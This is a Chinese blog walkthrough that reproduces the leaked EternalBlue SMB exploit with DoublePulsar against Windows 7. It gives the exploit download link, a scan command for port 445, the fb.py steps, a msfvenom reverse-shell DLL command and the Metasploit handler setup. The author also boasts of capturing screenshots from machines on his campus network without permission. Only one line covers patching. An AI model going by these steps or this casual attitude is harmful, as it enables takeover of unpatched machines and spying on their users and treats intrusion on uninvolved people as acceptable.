【Web渗透】 方程式工具复现测试————Eternalblue

最后编辑时间: 2017-06-14

背景知识

故事还要从一年前说起,2016 年 8 月有一个 “Shadow Brokers” 的黑客组织号称入侵了方程式组织窃取了大量机密文件,并将部分文件公开到了互联网上,方程式(Equation Group)据称是 NSA(美国国家安全局)下属的黑客组织,有着极高的技术手段。这部分被公开的文件包括不少隐蔽的地下的黑客工具。另外 “Shadow Brokers” 还保留了部分文件,打算以公开拍卖的形式出售给出价最高的竞价者,“Shadow Brokers” 预期的价格是 100 万比特币(价值接近5亿美金)。这一切听起来难以置信,以至于当时有不少安全专家对此事件保持怀疑态度,“Shadow Brokers” 的拍卖也因此一直没有成功。

北京时间 2017 年 4 月 14 日晚,“Shadow Brokers” 终于忍不住了,在推特上放出了他们当时保留的部分文件,解压密码是 “Reeeeeeeeeeeeeee”。

这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):

EXPLODINGCAN 是 IIS 5/6 远程漏洞利用工具
ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限,漏洞编号为MS17-010,已于 2017 年 3 月修复。
除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器,且基本都已修复于 2017 年 3 月。
ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口且开启了智能卡登陆的 Windows XP 和 Windows 2003 机器。
FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。
ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。
ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具,漏洞编号为MS08-067,修复于2008年。
ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击开放了 88 端口的 Windows 2000/2003/2008/2008 R2 的域控制器,漏洞编号为MS14-068,修复于2014年。
不放不要紧,放出来吓坏了一众小伙伴。这些文件包含多个 Windows 神洞的利用工具,只要 Windows 服务器开了135、445、3389 其中的端口之一,有很大概率可以直接被攻击,这相比于当年的 MS08-067 漏洞有过之而无不及啊,如此神洞已经好久没有再江湖上出现过了。

实验环境准备

实验机器

Attacker1:win8 192.168.43.107

Attacker1Attacker1

Attacker2: Kali 192.168.43.196

Attacker2Attacker2

Target: win 7 x64 192.168.11.132

TargetTarget

工具和环境搭建

Attacker1:Win8 + exp + python2.6 + pywin32

exp下载地址:https://github.com/h3h3da/shadowbroker

 
python-2.6.6.msi
https://www.python.org/download/releases/2.6.6/
 
pywin32-221.win32-py2.6.exe
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
 

这里要注意一下,都选32位的就好了。。具体如何安装python和pywin32就不多说了,记得添加环境变量。。

Attacker2: Kali

Target: 打开445端口,关闭防火墙(其实在现实中很多人根本就不知道防火墙的存在。。更别提开关防火墙了。。

这样咱们的测试环境基本就搭建好了~虽然是我在本地搭建的环境但是下面的渗透步骤,我会按照在公网的步骤来~是不是很酸爽~

Attacker1配置

把下载的exp压缩包中Windows目录解压到攻击机上,不要解压到有中文目录的路径,不然会报错,解压完后,我们在Windows目录下新建一个空目录“listeningposts”,为什么要建立这个目录,因为fb.py中有个遍历目录的参数,对应的就是这个目录,默认是没有的。

确定攻击目标

这里我们使用一款扫描神器Nmap(这个可以事先装到Attacker1上),然后使用下面的命令对一个网段进行扫描,看有哪些机器开了445端口,主要针对win7 64 的主机进行试验

nmap -p 445 -O *.*.*.* ## 这里是待检测IP

确定一个445端口打开的并且是win7/8的主机,记下IP。由于在本地测试,这里省略扫描步骤。。

执行工具

来到exp的www目录下运行fb.py,输入目标主机IP和本机IP,重定向和输出日志我们都选择no即可,并创建一个任务或随便打开一个已存在的任务,都可以

之后便可以默认设置,知道出来 fb > ,这里我们输入use Eternalblue

之后默认选择,一路回车,直到出现选择针对的目标系统和加载的MODE,我们都选1,因为针对的系统是X64的win7,MODE用本身自带的一个fuzz框架。

之后一路默认即可,当出现这个的时候,说明Eternalblue初步执行成功

然后输入use doublepulsar,然后一样默认设置回车yes,直到出现要我们再次设置攻击目标的信息,选择SMB服务,x64系统,利用RunDLL模块。

接下来我们就要用Kali的msf来生成一个dll后门。

Attacker2配置

输入命令·msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.196 LPORT=2333 -f dll > s.dll·

出现如下结果时,生成成功

然后我们把生成的dll放置到Attacker1(win8)的C盘根目录。Kali打开msfconsole,监听相应端口,用于接受返回的shell

输入内容如下:

msf > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.43.196
lhost => 192.168.43.196
msf exploit(handler) > set lport 2333
Lport => 2333
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > exploit
 
 

 

设置完成后,我们再回到Attacker1,继续之前的工作,填好DLLPayload的路径c://s.dll,然后发起攻击。

成功!!!

远程操控

此时我们在Attacker2上接收到一个shell,输入help,可以查看功能。


可以看到功能很丰富,截屏,开摄像头拍照,shell,记录键盘等等等。。。

输入screenshot测试一下截屏

效果完美~~~

下面附几张在校园局域网测试的截屏~(都是汉子在打游戏刷剧,没有一个妹子。。。。。



影响范围

几乎所有没更新打补丁的Windows服务器、个人电脑,包括 XP/2003/Win7/Win8。。

漏洞修复

及时更新打补丁,全部使用防火墙过滤/关闭 445端口;对于 3389 远程登录,如果不想关闭的话,至少要关闭智能卡登录功能。

参考及感谢

http://www.secdic.com/archives/8690.html

请在下方留下您的评论.加入TG吹水群